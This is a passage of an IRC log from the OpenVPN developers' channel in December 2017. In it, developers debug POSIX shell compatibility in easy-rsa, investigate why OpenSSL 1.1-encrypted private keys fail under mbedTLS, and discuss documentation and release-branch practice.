14:27 <@vpnHelper> Title: Remove "local" keyword from variable assignment · OpenVPN/easy-rsa@d3502a9 · GitHub (at github.com) 14:31 < tincantech> btw .. that does not fix the other problem 14:48 <@ecrist> which other problem, they syntax issues you identified earlier? 14:48 <@ecrist> I'm off work in about 12m. Then I drive home. As soon as I can mix a beverage, I'll poke at this. ~1h from now 15:25 < tincantech> ecrist: yeah .. that one above is simple enough .. i have not figured out what the cause of the other problem is yet 15:34 < tincantech> actually .. it looks like another "local " mistake 15:36 < tincantech> https://github.com/OpenVPN/easy-rsa/commit/d3502a9d85cf7eaedd287b90334527152795c413#r26224478 15:36 <@vpnHelper> Title: Remove "local" keyword from variable assignment · OpenVPN/easy-rsa@d3502a9 · GitHub (at github.com) 15:41 < tincantech> I can see any others 15:42 < tincantech> i mean I cannot see any others .. oops 15:52 < tincantech> those two links fixed both issues for me on multiple linux, init-pki works again 15:52 < tincantech> I am curious why your "proper sh" did not have an error ? 15:55 < tincantech> probably something to do with "trap" 16:26 < tincantech> I wonder about your beverage of choice .. my guess is a very long island iced tea ;) 18:41 <@ecrist> tincantech: still around? 18:43 <@ecrist> which two "links" are you referring to? 18:49 < tincantech> eh up :) 18:50 < tincantech> well the two above are inserts into this : https://github.com/OpenVPN/easy-rsa/commit/d3502a9d85cf7eaedd287b90334527152795c413 18:50 <@vpnHelper> Title: Remove "local" keyword from variable assignment · OpenVPN/easy-rsa@d3502a9 · GitHub (at github.com) 18:56 < tincantech> ecrist: ^ 19:02 <@ecrist> So, I'm not following here, entirely. 19:03 <@ecrist> is master broken, or not? 19:04 < tincantech> yes it is 19:04 <@ecrist> ok, acceptance is the first step 19:04 < tincantech> where you have removed 'local ' you have promoted variable names to non-existant functions 19:05 < tincantech> i only count two occurences and i have added comments to the git commit 19:06 < tincantech> unless i have some effing nasty root kit messing with me .. you should be able to see my comments ? 19:07 <@ecrist> yes 19:07 < tincantech> ok 19:07 < tincantech> this : local x y 19:08 < tincantech> is NOT the same as this : x y 19:08 < tincantech> this : local x= y= 19:08 < tincantech> is the same as this : x= y= 19:10 < tincantech> well .. not the same .. but you see what i mean .. right ? 19:17 <@ecrist> yes. I'll poke at it 19:18 < tincantech> it is two *tiny* errors .. I say just fix it now and move on 19:18 <@ecrist> tincantech: I need to figure out the intent of the command I'm modifying. 19:19 < tincantech> huh .. then dont fkn modify the command in the first pkace ! 19:19 < tincantech> excuse me .. apologes for that outburst 19:20 <@ecrist> master is development. if you don't like it, use a release. 19:20 < tincantech> i can see what you have done .. but infact it is only due to inconsistencies in the first place that these errors have come to light 19:21 < tincantech> all the other changes in that patch have "variable=" something or other or nothing 19:22 < tincantech> but they all have "=" the assignation operator 19:23 < tincantech> well .. you can see it anyway . you decide .. i'll live with what ever outcome 19:23 <@ecrist> which is why I'm digging in to what the intent of the commands were 19:23 <@ecrist> the outcome, hopefully, is a working script 19:25 <@ecrist> fwiw, your outbursts and judgemental comments make it difficult to work with you. I appreciate your feedback, but... 19:25 < tincantech> yeah .. i am sorry 19:26 <@ecrist> it's all good, your heart is in the right place. ;) 19:26 < tincantech> i hopeso :) 19:27 < tincantech> like i saud . now you can see it you can do what ever is necessary .. but to me it looks like a very simple fix i may be wrong 19:40 < tincantech> ecrist: fwiw .. ripping 'local ' out like that looks like you are asking for trouble anyway .. one might be inclined to consider a conspiricy theory .. if one were so inclined ? 19:44 <@ecrist> nope 19:44 <@ecrist> this is supposed to be POSIX compliant with old-skool "sh" 19:45 <@ecrist> local is not an sh construct 19:45 < tincantech> ok .. fair enough 19:45 <@ecrist> Pushing now, please test. 19:48 <@ecrist> "easyrsa initpki" twice works on my Mac (bash) and on FreeBSD (sh) 19:48 < tincantech> ecrist: i really did not mean to hassle you on master .. I may have expected too much .. but i really did not mean to 19:51 < tincantech> wo-how .. you got a new one baby ! 19:52 <@ecrist> ? 19:54 < tincantech> line 267 of easyrsa .. 19:55 <@ecrist> ? 19:55 <@ecrist> input= 19:55 < tincantech> i'll clone again .. maybe i was to fast 19:56 <@ecrist> just git pull 20:00 < tincantech> line 62 is still : text opts // 20:03 < tincantech> line 267 is still : input 20:03 < tincantech> i am genuinly starting to wonder if linux-mint has been rooted here ??? 20:05 < tincantech> refrash .. reload .. rebollox .. it still loooks the same to me 20:06 < tincantech> https://github.com/OpenVPN/easy-rsa/blob/master/easyrsa3/easyrsa 20:06 <@vpnHelper> Title: easy-rsa/easyrsa at master · OpenVPN/easy-rsa · GitHub (at github.com) 20:07 < tincantech> meh .. when ever you get the time i'll help out if i can 21:02 * tincantech considers a LibreSSL type fork of easyy-rsa 21:41 < tincantech> is it even possible to get a 'pure' POSIX sh on a modern linux or *BSD ? 21:49 < tincantech> answert : no 22:00 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Read error: Connection reset by peer] 22:10 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 22:10 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Wed Dec 13 2017 01:40 <@cron2> tincantech: sure it is. Debian has dash, FreeBSD has its /bin/sh which is very close to POSIX. Just bash is "way beyond" 06:35 <@ecrist> tincantech: yes, sh on BSD is POSIX compliant 06:35 <@ecrist> bash, as cron2 said, is the outlier here. 06:36 <@ecrist> OS X and others symlink sh to bash, which tends to break things 06:36 <@ecrist> A developer *thinks* they're doing sh things and they aren't really 06:37 <@ecrist> which appears to have been the case for what pekster wrote with easyrsa 3.0 09:01 < pekster> That was actually documented ;) 09:07 * pekster chuckles. Still is. 09:35 <@plaisthos> cron2: isn't dash a derivate of the bsd sh anyway? 09:42 <@plaisthos> I just read trhe meeting notes 09:42 <@plaisthos> I would not worry about libressl on os x 09:43 <@plaisthos> while os x ships libressl users either use tunnelblick or build from homebrew (or similar) and that also install openssl then 09:47 <@ecrist> pekster lives! 14:46 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 260 seconds] 14:48 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 14:48 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 16:14 < tincantech> not sure if this is interesting or dumb but here goes : https://forums.openvpn.net/viewtopic.php?f=4&t=25432 16:14 <@vpnHelper> Title: How to force Hardware AES De-/Encryption? - OpenVPN Support Forum (at forums.openvpn.net) --- Day changed Thu Dec 14 2017 04:07 <@vpnHelper> RSS Update - tickets: #967: Server not initializing Encrypt/Decrypt keys <https://community.openvpn.net/openvpn/ticket/967> 08:55 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Ping timeout: 255 seconds] 12:13 < tincantech> https://www.cbsnews.com/news/net-neutrality-vote-fcc-rules-internet-speed-live-stream/ 14:17 <@ordex> ecrist: I am trying to create an ec pki with easyrsa (using the current master branch) 14:17 <@ordex> but when i try to create the server cert I get several errors 14:18 <@ordex> ecrist: https://nopaste.unstable.cc/?121 14:18 <@ordex> so I manually copied index.txt.attr from another pki I created some time ago 14:18 <@ordex> but then i get this 14:18 <@ordex> https://nopaste.unstable.cc/?122 14:19 <@ordex> so one error "seems" solved, but the rest is still there 14:19 <@ordex> (I just pulled from master) 14:19 <@ordex> any clue ? 14:26 <@ordex> syzzer: does supporting ECDSA represent a security issue? I see that James has deactivated it from the list supported tls ciphersuite in ovpn3. but I am not sur ewhy that would be needed 14:26 <@ordex> I am asking him as well.. 14:35 <@ecrist> ordex: looking 14:36 <@ecrist> ordex: did you do an init-pki first? 14:36 <@syzzer> ordex: no, ECDSA is fine 14:36 <@syzzer> as long as you have good random, but you need that for (EC)DH anyway 14:37 <@ecrist> ordex: your error from your second paste might be related to a change I made for SAN 14:38 <@ecrist> comment out lines 655 through 659 and see if your error goes away. 14:43 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 14:43 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 16:03 < tincantech> ecrist: error went away on a quick test trying to copy ordex 17:01 <@ordex> tincantech: ecrist: thanks 17:02 <@ordex> ecrist: if you need any additional feedback, let me know 17:27 < tincantech> ordex: do you still need an ec openssl 1.1 pki ? 17:28 <@ordex> tincantech: I got one, thanks :) 17:28 < tincantech> ok 17:29 < tincantech> ordex: easy-rsa master is currently undergoing some heavy testing .. may be use a release version for normal use 17:30 <@ordex> oky 19:02 < tincantech> btw: 5 people get to vote on how the internet is delivered in the USA .. that's not democracy 20:28 <@ecrist> I need to rethink the SAN implementation. I think, mostly, I don't understand what was going on in that piece of code. --- Day changed Fri Dec 15 2017 02:05 <@cron2> tincantech: what makes you think there is democracy in the USA? 03:11 <@ordex> ecrist: SAN? 04:52 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Read error: Connection reset by peer] 05:03 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 05:03 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 05:29 <@dazo> ordex: SAN == SubjectAltName .... http://apetec.com/support/GenerateSAN-CSR.htm 05:29 <@vpnHelper> Title: Creating an SSL Certificate with Multiple Hostnames (at apetec.com) 05:29 <@dazo> (not Storage Area Network :-P) 05:29 <@ordex> yeah :D 05:50 <@dazo> *this* is a thorough and good guide for setting up PGP, strengthen git (we do most a lot that already) and 2FA for hosted services .... https://github.com/lfit/itpol/blob/master/protecting-code-integrity.md 05:50 <@vpnHelper> Title: itpol/protecting-code-integrity.md at master · lfit/itpol · GitHub (at github.com) 06:11 <@vpnHelper> RSS Update - tickets: #968: Windows build-dh.bat script wrong <https://community.openvpn.net/openvpn/ticket/968> 08:00 <@ecrist> ordex: what dazo said. 08:00 <@ordex> ecrist: yeah 08:07 < tincantech> cron2: indeed .. i am very cynical and as time goes by even more so .. once upon a time "The Simpsons" were funny .. now it seems it is all true! 08:09 < tincantech> ecrist: just curious about the SAN change you made .. are the brackets you removed not POSIX .. or some other reason ? 08:09 <@ecrist> they're a bashism 08:09 <@ecrist> you're talking about $(..) 08:09 < tincantech> ahh ok 08:10 < tincantech> yes 08:11 < tincantech> I have been reading : http://pubs.opengroup.org/onlinepubs/9699919799/ .. trying to understand some more 08:11 <@vpnHelper> Title: The Open Group Base Specifications Issue 7, 2016 Edition (at pubs.opengroup.org) 08:22 < pekster> Erm, bashism? No, not at all! http://pubs.opengroup.org/onlinepubs/9699919799/utilities/V3_chap02.html#tag_18_06_03 08:22 <@vpnHelper> Title: Shell Command Language (at pubs.opengroup.org) 08:22 * pekster suggests a POSIX reference for POSIX things 08:22 < pekster> http://pubs.opengroup.org/onlinepubs/9699919799/ if folks need learning material 08:22 <@vpnHelper> Title: The Open Group Base Specifications Issue 7, 2016 Edition (at pubs.opengroup.org) 08:29 <@ecrist> pekster: I'll have to go back in my email and find it later. There is some system (Solaris, maybe) where sh does not accept $(...). 08:30 < pekster> Then it's not POSIX compliant 08:31 <@ecrist> well, I'm not convinced of that. The document you link has a date of 2008 as an early source. 08:31 <@ecrist> but, I will read through that document and act accordingly. 08:32 < pekster> That's the current standard, yes. POSIX-2004 had the same thing 08:32 < pekster> Maybe Solaris is really that brain-dead 08:32 < pekster> But, 15-year old OSes are going to suck in many ways anyway 08:32 <@cron2> Solaris does not claim posix-compatibility on anything 08:32 < pekster> Date is 2016, by the way ;) 08:32 <@cron2> solaris' /bin/sh is particularily annoying 08:33 < pekster> IEEE Std 1003.1™-2008, 2016 Edition, that means the 2016 edition of the 1003.1-2008 POSIX standard, which is the latest official standard 08:33 <@ecrist> yeah, and I get enough email from the solaris crowd, it's sad 08:33 <@ecrist> so, maybe this is where I tell them to pound sand? 08:33 <@ecrist> I think we should stick with the current standard. 08:33 <@ecrist> thanks for the link, pekster 08:34 < pekster> Backticks (ie: `foo arg1 arg2`) are deprecated in no small part because they next poorly. `thing1 "\`thing2 --args --whatever\`"` is just meta-ugly 08:34 < pekster> next* 08:34 < pekster> nest** 08:34 < pekster> They'll work, and might be the fix, in somewhat poor style 08:34 <@ecrist> I'm sold. 08:35 < pekster> Dunno what else Solaris gets wrong though 08:35 <@cron2> we have vagrant now, so if you want, just install your own Solaris VM and find out :-) 08:36 <@ecrist> can't I just consider solaris EOL? :D 08:36 <@ecrist> to quote the good doctor, "He's dead, Jim" 08:40 <@ordex> ecrist: even though people run openvpn on solaris, I think we could assume people would create the pki somewhere else 08:42 < tincantech> ordex: i think that they ae using solaris to crete the pki .. hence the complaints ecrist gets .. just because you use solaris don't make you smart ;) 08:43 < tincantech> i say go POSIX and blow the consequences 08:51 <@cron2> opensolaris has a bash and a ksh, so pick one of those (there) and be happy 08:51 < tincantech> ecrist: you might find this age useful (with examples and an example of $(..) ) : http://pubs.opengroup.org/onlinepubs/9699919799/utilities/sh.html 08:51 <@vpnHelper> Title: sh (at pubs.opengroup.org) 08:52 <@ecrist> really, as long as it works on FreeBSD, I don't care. :P 09:00 < tincantech> dazo: thanks for your response to that openssl "hack" :) I was thinking the same but did not think openssl would accept $ENV variables from openvpn, maybe the OP will respond ;) 09:15 < eworm> ordex: Did the pki I create help? 09:17 <@dazo> tincantech: that should work, the getenv() and secure_getenv() functions (which I presume the OpenSSL library uses) can access the environment variables for the process - and a linked library is part of that process 09:19 <@dazo> ~/devel/openssl (master) $ git grep -n getenv | grep OPENSSL_ia32cap 09:19 <@dazo> crypto/cryptlib.c:36: if ((env = getenv("OPENSSL_ia32cap"))) { 09:19 <@dazo> there it is :) 09:23 < tincantech> dazo: coool :) 09:23 <@dazo> so this is the theory ... lets see if it works in practice :-P 12:37 <@ordex> so, an encrypted private key generated by easyrsa on a system running openssl 1.1 cannot be decrypted by mbedtls 2.6 12:37 <@ordex> I wonder what algorithm it is using 12:37 <@ordex> (but it can be decrypted by openssl 1.0) 12:40 <@ordex> dazo: any clue how to print the algorithm being used to encrypt the key ? 12:42 <@dazo> ordex: openssl rsa -noout -text ? 12:44 <@ordex> I get the key data that way (exponent, modulus, etc) but nothing about the encryption 12:48 <@ordex> I am using asn1parse as this info should be in the asn elements 12:51 <@ordex> I see this: somewhere along the result of the parsing: :des-ede3-cbc 12:51 <@ordex> I feel thatis the alg being used for encryoting the key 12:51 <@ordex> and I guess des is blacklisted on mbedtls ? 12:51 <@ordex> this is weird 12:56 <@ordex> mh no that's not what I was looking for 12:56 <@ordex> another working key has the same algorithm 13:16 <@dazo> hmmm 13:34 <@ordex> a difference I can see compared to a working encrypted key is that the working one dos not have: 50:d=6 hl=2 l= 8 prim: OBJECT :hmacWithSHA256 13:35 <@ordex> sounds like the key is encrypted and then authenticated with an hmac ? 13:35 <@ordex> maybe this is not supported by mbedtls 13:50 <@dazo> hmmm ... that sounds plausible, but still a bit odd :/ 13:51 <@dazo> key files should normally be parseable, regardless of the SSL library 13:51 <@ordex> dazo: the problem appears to be in the way it is encrypted 13:52 <@dazo> yeah, I meant that as well with "parseable" :) 13:52 <@ordex> eheh 13:52 <@ordex> yeah 13:52 <@ordex> I had several reports recently, it all started with people creating pkis on openssl1.1 13:53 <@dazo> oh, interesting 13:53 <@ordex> that's why I asked eworm to create a pki for me with an encrypted key using openssl 1.1 13:54 <@ordex> and now i am comparing a key created with my system (openssl 1.0) and the one I got from ework 13:54 <@ordex> and that hmacWithSHA256 string 13:54 <@dazo> I'd have a look and compare the openssl.cnf files 13:58 <@ordex> but that's the same 13:58 <@ordex> because we are all using easyrsa3 plain 13:58 <@ordex> also vars is unmodified 13:59 < tincantech> is it the same "version" of easyrsa ? 13:59 < tincantech> ecrist has been busy recently 13:59 <@ordex> well, the latest stable I think. I have reports of this kind since several months 14:00 < tincantech> we had another post on the forum from somebody using master not release : https://forums.openvpn.net/viewtopic.php?f=31&t=25445 14:00 <@vpnHelper> Title: routines:STR_COPY:variable has no value - OpenVPN Support Forum (at forums.openvpn.net) 14:00 < tincantech> I don't know if those changes would effect openssl vs mbedtls 14:01 <@ordex> ? how is this related? 14:01 < tincantech> it may not be 14:07 <@dazo> ordex: have you checked here? https://github.com/ARMmbed/mbedtls/issues ... my search-foo didn't give any thing obvious, but perhaps you have a few more details which helps? 14:07 <@vpnHelper> Title: Issues · ARMmbed/mbedtls · GitHub (at github.com) 14:07 <@ordex> yeah, lemme dig a bit 14:07 <@ordex> thanks 14:07 <@ordex> mh not sure there is anything 14:08 <@ordex> I am digging into the code now to see where the failure really happens 14:08 <@ordex> I am pretty sure at this point is is due to that hmac function 14:08 <@dazo> ordex: I have a direct contact person within the mbedtls team, which might be able to help us too 14:08 <@dazo> yeah, this begins to smell like that --- Day changed Sat Dec 16 2017 02:37 -!- Crazy_Hopp is now known as Crazy_Hopper 03:14 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has quit [Ping timeout: 276 seconds] 04:04 <@ordex> cron2: now it's my turn..I am upgrading a gentoo server that wasn't touched since ... 2 years ? 09:02 < tincantech> ecrist: easyrsa on travis-ci , not sure if you have seen anything like this before : https://travis-ci.org/TinCanTech/easy-rsa/builds/317358347?utm_source=email&utm_medium=notification 09:02 <@vpnHelper> Title: Travis CI - Test and Deploy Your Code with Confidence (at travis-ci.org) 10:56 < tincantech> wow .. building openvpn with mbedtls is so simple ! well done to the devs 13:10 <@cron2> ordex: let us know how it goes :-) - my "multi-year gentoo" is so far gone that it will either be decommissioned for good, or be revived with a new install of ubuntu 13:11 <@ordex> so far it's going pretty good. I had to reinstall python, portage, openrc and gentoolkit first 13:11 <@ordex> and now I am undergoing a world upgrade 13:12 <@ordex> but the breakage can be at the corner :P 13:12 <@cron2> if it actually starts the world upgrade (instead of refusing because it conflicts with itself), then *normally* you're golden 13:13 <@cron2> so how did you reinstall these? manually or with emerge? 13:29 <@ordex> still emerge 13:29 <@ordex> but basically when i launched the first world upgrade (that did not start because of conflicts) I kind of realized which were the critical packets and emerged them first 13:31 <@cron2> I tried that in one case, but it refused to upgrade portage because it wanted "something with python" which conflicted with "something else with python" and then I decided this isn't worth it 15:59 < tincantech> ordex: i have a Arch linux Ossl 1.1 server (full EC pki gen'd here) and a debian8 mbedtls client running ovpn totally normally 15:59 < tincantech> if that helps any 16:48 <@ordex> tincantech: the issue I am working on is about encrypted private keys created with openssl 1.1 and being used with openvpn with mbedtls 17:05 <@ordex> cron2: :D yeah that's when you start losing hair 18:05 < tincantech> ordex: ahh ok .. so not *nopass* 18:05 <@ordex> right 22:00 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Read error: Connection reset by peer] 22:10 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 22:10 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Sun Dec 17 2017 02:37 -!- pekster [~rewt@openvpn/community/developer/pekster] has quit [Ping timeout: 246 seconds] 02:37 -!- pekster [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 11:52 <@cron2> awwww shucks I hate SSL... 11:52 <@cron2> Not Before: Dec 20 14:56:05 2007 GMT 11:52 <@cron2> Not After : Dec 17 14:56:05 2017 GMT 11:53 <@cron2> full blast fail... CA cert expired, server cert expired 11:54 <@ordex> the moment when "that day so far in the future" hits you on your neck and you are not prepared :-P 11:59 <@cron2> the most amazing thing is that this box still happily chugs along, after 10 years, with a cross-compiled-for-ARM 2.1+IPv6 patches openvpn binary... I got a new box a year ago, but had no time to work on it... --- Day changed Mon Dec 18 2017 06:32 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: ZNC - http://znc.in] 06:40 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:40 -!- mode/#openvpn-devel [+o mattock] by ChanServ 07:17 < tincantech> ordex: sorry it took me so long to try but i confirm your problem .. ossl 1.1 cret cannot be opened with mbedtls .. opens fine with openssl .. error: tls_ctx_load_priv_file:444: PKCS5 - Requested encryption or digest alg not available 07:17 <@ordex> tincantech: right - same thing I see here 07:26 < tincantech> ordex: i notice that i have used mbedtls 2.6.0 source but openvpn reads: library versions: mbed TLS 2.3.0, LZO 2.08 .. so maby something is lagging behind 07:27 <@ordex> tincantech: you probably did not specify the right CFLAGS/LDFLAGS and openvpn has linked again the system lib ? 07:31 < tincantech> all i did was ./configure --with-crypto-library=mbedtls .. as there is no other mbedtls on the system i don't know what else i could do ? 07:37 <@ordex> no other mbedtls? and where did it get it from? :P 07:37 <@ordex> if you don't tell configure where the source is, for sure it can't grab it 07:39 < tincantech> once the source is made it can be installed "make install" and uses /usr/local 07:40 < tincantech> ls -l /usr/local 07:40 < tincantech> oops .. wrong window ! 07:42 < tincantech> hmm .. hold on 07:44 < tincantech> ah-so .. debian8 seems to come with /usr/local/lib/libmbed*.so etc 07:46 <@ecrist> ordex: I didn't manage to find time to roll out an easyrsa update this weekend. 07:46 < tincantech> i'll try again and specify the folders 07:47 <@ordex> ecrist: np :) I'll keep on bugging you when i find something wrong 07:47 <@ordex> tincantech: ah ok, didn't know you were doing make install. still, i think you found the suspect 07:50 <@ecrist> also, there is no current "stable" just "master" and the official releases. 07:50 <@ecrist> :) 08:30 < tincantech> ordex: same error for mbedtls 2.6.0 08:31 <@ordex> yup 08:33 <@dazo> ecrist: well, release/2.[1234] branches can be called stable branches .... which might not be fully released (only 2.3 and 2.4 will get tarballs and the release machinery to roll though) 08:33 <@dazo> just a nitpick 08:34 <@ecrist> dazo: I'll conceed that one. A tagged branch could be considered stable. 08:34 <@ecrist> The problem at the moment is that everyone is treating master as a release. 08:34 <@ecrist> So, my next trick will be to neuter master so it won't run without some stupid argument. :) 08:35 <@dazo> yeah, master is *not* a stable release ... it might be stable in functionality, but we don't guarantee that 08:41 <@ecrist> dazo: we're also talking in reference to EasyRSA, not OpenVPN. 08:41 <@dazo> ahhh 08:41 <@dazo> okay, I missed that in all this :) 08:42 <@ecrist> It wasn't clear - my responses were ad-hoc in response to highlighted messages over the past few days. 08:42 <@ecrist> completely out of context. 08:43 <@dazo> no worries :) 08:49 < pekster> ecrist: 'eh, then you have to "undo" that on every other branch. Why not just make the GH repo default to another branch on checkout (as git can do that for you) 08:51 <@ecrist> pekster: that's an option. There's already a "build" script that does some preparation for release. That script could just remove that bit. 08:51 <@dazo> pekster got a point ... but if there's a "version" variable in the script which complains if it is 'master' and no complaints if it is a non-master word there isn't unreasonable if there's lots of troubles around this 08:53 <@ecrist> Part of the issue is I need to get my own ducks in a row. Better testing (travis-ci for now) and more familiarity with the code is helping. 08:56 <@ordex> ecrist: but how many "complaints" have you got from people running master? do you think there have really been many people assuming that master was "stable" ? 08:56 <@ecrist> ordex: see the github issues 08:56 <@ecrist> or the plethora of email I've been getting 08:57 <@ordex> mh ok. normallyhaving people testing master is not a bad thing. but I imagine those people think to be using a stable release 08:57 <@dazo> it's just too easy to click "download tarball" ... and you get a git master download ... and then people (as in probably most non-devs) think they have the latest and greatest because they could download it 08:58 <@dazo> this is probably more an issue for script based project vs those which needs to be compiled 09:00 <@ordex> ecrist: you could also just print a big warning when a certain env var is defined (i.e. THIS_IS_MASTER=1) and remove it in the packaging process...similar to what you said before 09:01 <@ecrist> yup, that's what I'm thinking 09:13 <@ordex> ecrist: without checking the code, I added a "route 192.168.1.0 255.255.255.0" to my server config and I ended up having this route in my table: 192.168.1.0/24 via 10.8.8.2 dev tun-server0 09:13 <@ordex> this would make sense if such network is on a client 09:13 <@ordex> not behind the server, no? 09:14 <@ecrist> ordex: without that, the kernel doesn't know where to send the traffic 09:15 <@ordex> ecrist: ecrist I am assuming the network is *behind* the server, hence I already have something like this in my routing table: 192.168.1.0/24 dev br-lan 09:16 <@ecrist> ordex: look at an example using net30. without the route command for the vpn subnet, you end up with a single route for a /30 in the kernel table. 09:16 <@ecrist> subnet "fixes" that in some degree, but I've still seen problems where packets were routed properly without --route 09:16 <@ordex> but that's the VPN subnet: you want it to go through the VPN 09:16 <@ordex> the VPN *interface 10:36 <@dazo> *sigh* ... the man page and openvpn --help are truly not in sync ... and we have even more options in src/openvpn/options.c not mentioned or deviating from either --help or man page 10:37 <@syzzer> dazo: yeah, it's horrible. I'd really like to replace the --help list with a few commonly used command line options (--config, --verb, etc) and a reference to the man page 10:41 <@dazo> syzzer: I've generated a list of options for my openvpn3 work ... to see the feature gap and figure out how to implement an "openvpn 2.x client wrapper" .... I think I've come across over 260 options 10:43 <@dazo> (I've actually written an openvpn config/option parser in Python which behaves like the openvpn 2 config parser in approx 80 lines of code, excluding defining all the options/argparser) 10:53 <@dazo> not only lacking ... but some options are also quite scrambled .... 10:53 <@dazo> --inactive n [bytes] : Exit after n seconds of activity on tun/tap device 10:53 <@dazo> produces a combined in/out byte count < bytes. 12:19 <@ordex> 260 options :O 12:57 -!- cron2 [gert@openvpn/community/developer/cron2] has quit [Ping timeout: 255 seconds] 13:11 -!- cron2 [gert@openvpn/community/developer/cron2] has joined #openvpn-devel 13:11 -!- mode/#openvpn-devel [+o cron2] by ChanServ 13:12 <@cron2> hardware sucks 17:42 < tincantech> android sucks 17:42 < tincantech> altho, it is cool too 21:15 <@ecrist> dazo: you know what we need? doxygen or another home-grown tool to auto-generate the man page based on options.c. 21:15 <@ecrist> Not a 100% stop-gap probably, but if the documentation is in the code, it might be best. 21:15 <@ecrist> Even from a new-dev standpoint. 21:15 <@ecrist> mbedtsl has some nice doxygen docs 21:46 * ecrist replies to the IBB email. I'm probably going to speak out of turn, but "Leeeeeeroooooooy Jeeeeenkkkiiiiiiiinnnnnnsssssszzzzz!!!!" --- Log closed Tue Dec 19 01:08:18 2017 --- Log opened Tue Dec 19 01:09:14 2017 01:09 -!- Irssi: #openvpn-devel: Total of 32 nicks [9 ops, 0 halfops, 1 voices, 22 normal] 01:09 -!- mode/#openvpn-devel [+o ecrist_] by ChanServ 01:10 -!- Irssi: Join to #openvpn-devel was synced in 58 secs 03:37 <@ordex> I like ecrist_ idea 03:37 <@ordex> although our options.c is not really in the shape for that 03:37 <@ordex> we'd need to change how it is engineered (i.e. one function per options and the comment would become the doc for that option) 03:42 <@cron2> we do not need a function per option for that - a comment block right above the "if (strcmp()" bit would do as well, if we can agree on a format for the comment, someone writes the docs and the conversion script 03:43 <@cron2> that's more the problem... rework openvpn.8 into a user manual (maintained manually), a reference manual (maintained automatically), and actually fix all the old cruft in there which was relevant for 2.1... .-/ 03:55 <@ordex> cron2: I was attemping at not making the big function even huger :P 03:56 <@ordex> but it's just a detail 04:17 <@cron2> do we want a meeting tomorrow? I should be able to make it 04:18 <@syzzer> I should be able to make it too 04:24 <@ordex> me too 06:09 <@mattock> ok, let's do it then 06:26 -!- You're now known as ecrist 06:36 <@mattock> I will send the invitation later today 08:46 <@mattock> topics for the meeting? 08:49 <@syzzer> IBB ? 08:50 <@syzzer> and GertvD or me could give an update on the control channel optimization 08:51 <@mattock> yeah, we can definitely mention IBB 08:51 <@mattock> let me add those 08:58 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2017-12-20 08:58 <@vpnHelper> Title: Topics-2017-12-20 – OpenVPN Community (at community.openvpn.net) 09:07 <@mattock> sent the invitation 10:03 < tincantech> this feels like a bug : git/origin/release/2.3 & 2.4 ./configure refers to polarssl not mbedtls .. consequently both branches fail ./configure --with-crypto-library=*either polarssl or mbedtls* (2.5 master succeeds w/ mbedtls on the same cloned dir) 10:09 < tincantech> also, I don't believe I have the rights to change the name of a wiji page, so someone may want to rename this some time : https://community.openvpn.net/openvpn/wiki/UsingPolarSSL 10:09 <@vpnHelper> Title: UsingPolarSSL – OpenVPN Community (at community.openvpn.net) 10:09 <@ordex> tincantech: did you run autoreconf every time you switched branch/commit ? 10:09 <@ordex> stupid question, but I've mistaken that:P 10:09 < tincantech> ordex: erm .. let me double check 10:11 < tincantech> ordex: yes .. it does not seem to make any difference 10:11 <@ordex> k 10:11 <@ordex> tincantech: on release/2.4 i can't find any *polarssl* in configure.ac 10:11 <@ordex> do you? 10:12 <@ordex> *can you 10:12 < tincantech> grep "polarssl" ./configure 10:16 < tincantech> infact origin/release/2.4 does work with mbedtls only 2.3 does not 10:16 < tincantech> but does need autoreconf 10:18 < tincantech> 2.3 tries to detect polarssl but can't (cos it's not there) and does not accept mbedtls as a valid choice 10:19 <@cron2> 2.3 has no support for mbedtls, which has a different API than polarssl 10:20 <@cron2> this is well understood and not a bug 10:20 <@cron2> 2.3 = polarssl, 2.4/2.5 = mbedtls 10:20 <@cron2> (and I'm fairly sure it's documented in the 2.4 release notes) 10:20 < tincantech> cron2: ok .. so i need an older version of polarssl 10:20 < tincantech> thansk 10:23 <@ordex> tincantech: or you just forget about 2.3 :P 10:23 <@ordex> or you use openssl 10:31 <@ordex> reading error messages like "Month 13 is out of bound" in the system log on a macbook right after its last system upgrade is very reassuring .. 10:31 <@ordex> but at least they got it right: month 13 is really out of any bound :P 10:34 <@ordex> cron2: do we normally close trac tickets after we release a version fixing the issue? or after it has been merged into master? 10:34 <@ordex> it == the fix 10:34 <@cron2> normally "after it has been merged", sometimes "after release" and sometimes "when somebody runs across it and finds it long done" *sigh* 10:34 <@ordex> :D 10:35 <@ordex> ok 10:36 <@ordex> wow, the proxy fix was from 11 months ago ... time is flying :S 10:41 < tincantech> cron2: thanks for the pointer : OpenVPN 2.3.18 x86_64-unknown-linux-gnu [SSL (PolarSSL)] [LZO] [EPOLL] [MH] [IPv6] built on Dec 19 2017 10:41 < tincantech> library versions: PolarSSL 1.3.9, LZO 2.08 10:45 <@cron2> ordex: usually I copy-paste the block from the "merged!"-Mail on the list, with full commit IDs - then trac can actually link to it 10:45 <@ordex> oh ok 10:45 <@cron2> just as a side note, not sure if anyone ever looks at it :) 10:45 <@ordex> didn't know about that 10:46 <@cron2> this is why I'm mentioning it :-) 10:46 <@ordex> :) 10:47 <@ordex> cron2: so if I write the full commit ID (instead of the short version I used), trac will automatically generate a link to some gitweb thing ? (github?) 10:51 <@cron2> yep 10:51 <@cron2> (it only works for master commits, for whatever reason. Never bothered to find out how it is done, 